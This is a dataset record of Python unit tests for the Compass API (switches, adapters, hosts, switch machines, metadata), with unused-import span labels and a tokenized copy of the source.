'update_vendor')\n\n # update a non-existed switch\n url = '/switches/99'\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 404)\n\n # update with wrong filter\n url = '/switches/2'\n data = {\n 'xxx': 'invlid'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 400)", "metadata": "root.TestSwitchAPI.test_update_switch", "header": "['class', 'TestSwitchAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 689 }, { "content": " def test_delete_switch(self):\n # delete a switch successfully\n url = '/switches/1'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 200)\n\n # delete a non-existed switch\n url = '/switches/99'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestSwitchAPI.test_delete_switch", "header": "['class', 'TestSwitchAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 713 }, { "content": "class TestAdapterAPI(ApiTestCase):\n \"\"\"Test adapter api.\"\"\"\n\n\n\n", "metadata": "root.TestAdapterAPI", "header": "['module', '___EOS___']", "index": 725 }, { "content": " def setUp(self):\n super(TestAdapterAPI, self).setUp()\n self.adapter_name = None\n self.adapter_id = None\n url = '/adapters'\n adapters = json.loads(self.get(url).get_data())\n for adapter in adapters:\n if adapter['flavors']:\n self.adapter_name = adapter['name']\n self.adapter_id = adapter['id']", "metadata": "root.TestAdapterAPI.setUp", "header": "['class', 'TestAdapterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 728 }, { "content": " def tearDown(self):\n super(TestAdapterAPI, self).tearDown()", "metadata": "root.TestAdapterAPI.tearDown", "header": "['class', 'TestAdapterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 739 }, { "content": " def test_list_adapters(self):\n # list adapters successfully\n url = '/adapters'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n count = len(resp)\n self.assertEqual(count, 3)\n self.assertEqual(return_value.status_code, 200)\n\n # give a non-existed filter\n url = '/adapters?name=xx'\n return_value = json.loads(self.get(url).get_data())\n self.assertEqual([], return_value)", "metadata": "root.TestAdapterAPI.test_list_adapters", "header": "['class', 'TestAdapterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 742 }, { "content": " def test_show_adapter(self):\n # show an adapter successfully\n url = '/adapters/%s' % self.adapter_id\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['name'], self.adapter_name)\n\n # give a non-existed id\n url = '/adapters/99'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestAdapterAPI.test_show_adapter", "header": "['class', 'TestAdapterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 756 }, { "content": "class TestHostAPI(ApiTestCase):\n \"\"\"Test host api.\"\"\"\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TestHostAPI", "header": "['module', '___EOS___']", "index": 770 }, { "content": " def setUp(self):\n super(TestHostAPI, self).setUp()\n # add a machine to get the machine_id\n url = 'switches/1/machines'\n datas = [\n {\n 'mac': '28:6e:d4:46:c4:25',\n 'port': '1',\n 'location': 'test_location1'\n },\n {\n 'mac': '00:0c:29:bf:eb:1d',\n 'port': '1',\n 'location': 'test_location2'\n }\n ]\n machine_id = {}\n for i, data in enumerate(datas):\n return_value = self.post(url, data)\n resp = json.loads(return_value.get_data())\n machine_id[i] = resp['machine_id']\n\n # add a host\n url = '/clusters/1/hosts'\n datas = [\n {\n 'machine_id': machine_id[0],\n 'name': 'test_host1',\n 'reinstall_os': True\n },\n {\n 'machine_id': machine_id[1],\n 'name': 'test_hosts2',\n 'reinstall_os': True\n }\n ]\n for data in datas:\n self.post(url, data)\n\n # add host_network\n url = '/subnets'\n data = {\n 'subnet': '10.172.20.0/24',\n 'name': 'test_subnet'\n }\n self.post(url, data)\n url = '/hosts/1/networks'\n datas = [\n {\n 'interface': 'eth0',\n 'ip': '10.172.20.91',\n 'subnet_id': 1,\n 'is_mgmt': False,\n 'is_promiscuous': False\n },\n {\n 'interface': 'eth1',\n 'ip': '10.172.20.110',\n 'subnet_id': 1,\n 'is_mgmt': False,\n 'is_promiscuous': False\n }\n ]\n for data in datas:\n self.post(url, data)", "metadata": "root.TestHostAPI.setUp", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 773 }, { "content": " def tearDown(self):\n super(TestHostAPI, self).tearDown()", "metadata": "root.TestHostAPI.tearDown", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 839 }, { "content": " def test_list_hosts(self):\n # list hosts successfully\n url = '/hosts'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n count = len(resp)\n self.assertEqual(count, 2)\n self.assertEqual(return_value.status_code, 200)\n\n # give a non-existed name\n url = '/hosts?name=xx'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual([], resp)", "metadata": "root.TestHostAPI.test_list_hosts", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 842 }, { "content": " def test_show_host(self):\n # show a host successfully\n url = '/hosts/1'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['name'], 'test_host1')\n\n # give a non-existed id\n url = '/hosts/99'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestHostAPI.test_show_host", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 857 }, { "content": " def test_list_machines_or_hosts(self):\n url = '/machines-hosts'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 200)", "metadata": "root.TestHostAPI.test_list_machines_or_hosts", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 870 }, { "content": " def test_show_machine_or_host(self):\n url = '/machines-hosts/1'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 200)", "metadata": "root.TestHostAPI.test_show_machine_or_host", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 875 }, { "content": " def test_update_host(self):\n # update a host successfully\n url = '/hosts/1'\n data = {\n 'name': 'update_host'\n }\n return_value = self.put(url, data)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['name'], 'update_host')\n\n # give a wrong filter\n data = {\n 'location': 'update_location'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 400)\n self.assertIn('are not supported', return_value.get_data())\n\n # give a non-existed id\n url = '/hosts/99'\n data = {\n 'name': 'host'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestHostAPI.test_update_host", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 880 }, { "content": " def test_delete_host(self):\n # delete a host successfully\n url = '/hosts/2'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 200)\n\n # give a non-existed id\n url = '/hosts/99'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestHostAPI.test_delete_host", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 907 }, { "content": " def test_list_host_networks(self):\n url = '/hosts/1/networks'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n count = len(resp)\n self.assertEqual(count, 2)\n self.assertEqual(return_value.status_code, 200)", "metadata": "root.TestHostAPI.test_list_host_networks", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 918 }, { "content": " def test_show_host_network(self):\n url = '/hosts/1/networks/1'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['ip'], '10.172.20.91')", "metadata": "root.TestHostAPI.test_show_host_network", "header": "['class', 'TestHostAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 926 }, { "content": "class TestSwitchMachines(ApiTestCase):\n\n\n\n\n\n\n\n", "metadata": "root.TestSwitchMachines", "header": "['module', '___EOS___']", "index": 934 }, { "content": " def setUp(self):\n super(TestSwitchMachines, self).setUp()\n url = '/switches/2/machines'\n datas = [\n {\n 'mac': '28:6e:d4:46:c4:25',\n 'port': '1',\n 'vlans': [88]\n },\n {\n 'mac': '00:0c:29:bf:eb:1d',\n 'port': '1',\n 'vlans': [1]\n }\n ]\n for data in datas:\n self.post(url, data)", "metadata": "root.TestSwitchMachines.setUp", "header": "['class', 'TestSwitchMachines', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 936 }, { "content": " def tearDown(self):\n super(TestSwitchMachines, self).tearDown()", "metadata": "root.TestSwitchMachines.tearDown", "header": "['class', 'TestSwitchMachines', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 954 }, { "content": " def test_list_switch_machines(self):\n # list switch machines successfully\n url = '/switches/2/machines'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n count = len(resp)\n self.assertEqual(count, 2)\n self.assertEqual(return_value.status_code, 200)\n\n # give a non-existed switch_id\n url = '/switches/99/machines'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestSwitchMachines.test_list_switch_machines", "header": "['class', 'TestSwitchMachines', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 957 }, { "content": " def test_add_switch_machine(self):\n # add a switch machine successfully\n url = '/switches/2/machines'\n data = {\n 'mac': '00:0c:29:5b:ee:eb',\n 'port': '1',\n 'vlans': [10]\n }\n return_value = self.post(url, data)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['mac'], '00:0c:29:5b:ee:eb')\n\n # add a dulicated switch machine\n url = '/switches/2/machines'\n data = {\n 'mac': '28:6e:d4:46:c4:25',\n 'port': '1',\n 'vlans': [88]\n }\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 409)\n\n # add a invalid switch machine\n url = 's/witchedes'\n data = {\n 'mac': 'xxx'\n }\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestSwitchMachines.test_add_switch_machine", "header": "['class', 'TestSwitchMachines', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 971 }, { "content": " def test_add_switch_machines(self):\n # batch switch machines\n url = '/switches'\n return_value = self.get(url)\n\n url = '/switches/machines'\n data = [{\n \"switch_ip\": \"0.0.0.0\",\n \"mac\": \"1a:2b:3c:4d:5e:6f\",\n \"port\": \"100\"\n }, {\n \"switch_ip\": \"0.0.0.0\",\n \"mac\": \"a1:b2:c3:d4:e5:f6\",\n \"port\": \"101\"\n }, {\n \"switch_ip\": \"0.0.0.0\",\n \"mac\": \"a1:b2:c3:d4:e5:f6\",\n \"port\": \"101\"\n }, {\n \"switch_ip\": \"0.0.0.0\",\n \"mac\": \"a1:b2:c3:d4:e5:f6\",\n \"port\": \"102\"\n }, {\n \"switch_ip\": \"10.10.10.1\",\n \"mac\": \"b1:b2:c3:d4:e5:f6\",\n \"port\": \"200\"\n }, {\n \"switch_ip\": \"127.0.0.2\",\n \"mac\": \"a1:b2:f3:d4:e5:f6\",\n \"port\": \"100\"\n }]\n return_value = self.post(url, data)\n expected = [{\n 'switch_ip': '0.0.0.0',\n 'port': '100',\n 'mac': '1a:2b:3c:4d:5e:6f'\n }, {\n 'switch_ip': '0.0.0.0',\n 'port': '101',\n 'mac': 'a1:b2:c3:d4:e5:f6'\n }, {\n 'switch_ip': '10.10.10.1',\n 'port': '200',\n 'mac': 'b1:b2:c3:d4:e5:f6'\n }]\n expect_duplicate = [{'mac': 'a1:b2:c3:d4:e5:f6', 'port': '101'}]\n expect_failed = [\n {'mac': 'a1:b2:f3:d4:e5:f6', 'port': '100'},\n {'mac': 'a1:b2:c3:d4:e5:f6', 'port': '102'}\n ]\n resp = json.loads(return_value.get_data())\n res = []\n res_du = []\n res_fail = []\n for k, v in resp.items():\n if k == 'switches_machines':\n for item in v:\n res.append(item)\n if k == 'duplicate_switches_machines':\n for item in v:\n res_du.append(item)\n if k == 'fail_switches_machines':\n for item in v:\n res_fail.append(item)\n self.assertEqual(len(res), len(expected))\n for i, v in enumerate(res):\n self.assertDictContainsSubset(\n expected[i], res[i]\n )\n self.assertEqual(len(res_fail), len(expect_failed))\n for i, v in enumerate(res_fail):\n self.assertDictContainsSubset(\n expect_failed[i], res_fail[i]\n )\n self.assertEqual(len(res_du), len(expect_duplicate))\n for i, v in enumerate(res_du):\n self.assertDictContainsSubset(\n expect_duplicate[i], res_du[i]\n )", "metadata": "root.TestSwitchMachines.test_add_switch_machines", "header": "['class', 'TestSwitchMachines', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 1002 }, { "content": " def test_show_switch_machine(self):\n # show a switch_machine successfully\n url = '/switches/2/machines/1'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['mac'], '28:6e:d4:46:c4:25')\n\n # give a non-existed switch_id\n url = '/switches/99/machines/1'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestSwitchMachines.test_show_switch_machine", "header": "['class', 'TestSwitchMachines', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 1082 }, { "content": " def test_update_switch_machine(self):\n # update a switch_machine successfully\n url = '/switches/2/machines/1'\n data = {\n 'port': '100'\n }\n return_value = self.put(url, data)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['port'], '100')\n\n # give a non-existed switch_id\n url = '/switches/99/machines/1'\n data = {\n 'port': '99'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 404)\n\n # give a wrong filter\n url = '/switches/2/machines/1'\n data = {\n 'mac': '00:0c:29:a5:f2:05'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 400)\n self.assertIn('are not supported', return_value.get_data())", "metadata": "root.TestSwitchMachines.test_update_switch_machine", "header": "['class', 'TestSwitchMachines', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 1095 }, { "content": " def test_delete_switch_machine(self):\n # delete a switch_machine successfully\n url = '/switches/2/machines/1'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 200)", "metadata": "root.TestSwitchMachines.test_delete_switch_machine", "header": "['class', 'TestSwitchMachines', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 1123 }, { "content": "class TestMetadataAPI(ApiTestCase):\n \"\"\"Test metadata api.\"\"\"\n\n\n\n", "metadata": "root.TestMetadataAPI", "header": "['module', '___EOS___']", "index": 1130 }, { "content": " def setUp(self):\n super(TestMetadataAPI, self).setUp()", "metadata": "root.TestMetadataAPI.setUp", "header": "['class', 'TestMetadataAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 1133 }, { "content": " def tearDown(self):\n super(TestMetadataAPI, self).tearDown()", "metadata": "root.TestMetadataAPI.tearDown", "header": "['class', 'TestMetadataAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 1136 }, { "content": " def test_get_os_ui_metadata(self):\n url = '/oses/%s/ui_metadata' % self.os_id\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 200)\n self.assertIn('os_global_config', return_value.get_data())", "metadata": "root.TestMetadataAPI.test_get_os_ui_metadata", "header": "['class', 'TestMetadataAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 1139 }, { "content": " def test_get_flavor_ui_metadata(self):\n url = '/flavors/%s/ui_metadata' % self.flavor_id\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 200)\n self.assertIn('flavor_config', return_value.get_data())", "metadata": "root.TestMetadataAPI.test_get_flavor_ui_metadata", "header": "['class', 'TestMetadataAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 1145 } ]
[ { "span": "import copy", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 11 }, { "span": "from compass.api import login_manager", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 37 }, { "span": "from compass.db.api import host as host_api", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 43 }, { "span": "from compass.utils import util", "start_line": 42, "start_column": 0, "end_line": 42, "end_column": 30 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2014", " ", "Hua", "wei", " ", "Techno", "logi", "es", " ", "Co", ".", " ", "Lt", "d_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "test", " ", "api", " ", "module", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "celery_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "simplejson_", "as_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "environ_", "[_", "'", "COMPA", "SS", "\\u", "IGNORE", "\\u", "SETTING", "'_", "]_", "=_", "'", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "compass", "_", "._", "utils_", "import_", "setti", "ng", "\\u", "wrapper_", "as_", "setting_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reload_", "(_", "setting_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "compass", "_", "._", "api_", "import_", "login", "\\u", "manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "db_", "._", "api_", "import_", "adapter", "\\u", "holder_", "as_", "adapter", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "db_", "._", "api_", "import_", "cluster_", "as_", "cluster", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "db_", "._", "api_", "import_", "database_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "db_", "._", "api_", "import_", "host_", "as_", "host", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "db_", "._", "api_", "import_", "metadata", "\\u", "holder_", "as_", "metadata", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "db_", "._", "api_", "import_", "user_", "as_", "user", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "db_", "._", "models_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "utils_", "import_", "flags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "utils_", "import_", "logs", "etti", "ng_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "utils_", "import_", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flags_", "._", "init_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logs", "etti", "ng_", "._", "init_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unittest2_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Ap", "i", "Test", "Case_", "(_", "unittest2_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "base", " ", "api", " ", "test", " ", "class", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CLUSTER", "\\u", "NAME_", "=_", "\"", "Test", "\\u", "CLUSTER", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SWITCH", "\\u", "IP", "\\u", "ADDRESS_", "=_", "'", "10.1", "0.10", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SWITCH", "\\u", "CRED", "ENTI", "AL_", "=_", "{_", "'", "version", "'_", ":_", "'", "xxx", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "communi", "ty", "'_", ":_", "'", "xxx", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "USER", "\\u", "CREDENTIALS", "_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "'_", ":_", "setting_", "._", "COMPA", "SS", "\\u", "ADM", "IN", "\\u", "EMAIL_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "setting_", "._", "COMPA", "SS", "\\u", "ADM", "IN", "\\u", "PASSWORD_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Ap", "i", "Test", "Case_", "(_", "unittest2_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Ap", "i", "Test", "Case_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "environ_", "[_", "'", "COMPA", "SS", "\\u", "IGNORE", "\\u", "SETTING", "'_", "]_", "=_", "'", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "environ_", "[_", "'", "COMPA", "SS", "\\u", "CONFIG", "\\u", "DIR", "'_", "]_", "=_", "os_", "._", "path_", "._", "join_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reload_", "(_", "setting_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "._", "init_", "(_", "'", "sql", "ite", "://'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "._", "create", "\\u", "db_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adapter", "\\u", "api_", "._", "load", "\\u", "adapters_", "(_", "force", "\\u", "reload_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metadata", "\\u", "api_", "._", "load", "\\u", "metadata", "s_", "(_", "force", "\\u", "reload_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adapter", "\\u", "api_", "._", "load", "\\u", "flavors_", "(_", "force", "\\u", "reload_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "compass", "_", "._", "api_", "import_", "api_", "as_", "compass", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "application_", "=_", "compass", "\\u", "api_", "._", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "test\\u", "client_", "=_", "application_", "._", "test\\u", "client_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "celery_", "._", "current", "\\u", "app_", "._", "send", "\\u", "task_", "=_", "mock_", "._", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "compass", "_", "._", "tasks_", "import_", "client_", "as_", "celery", "\\u", "client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "celery", "\\u", "client_", "._", "celery_", "._", "send", "\\u", "task_", "=_", "mock_", "._", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'/", "users", "/", "token", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "self_", "._", "USER", "\\u", "CREDENTIALS", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request", "\\u", "data_", "=_", "json_", "._", "dumps_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "test\\u", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", 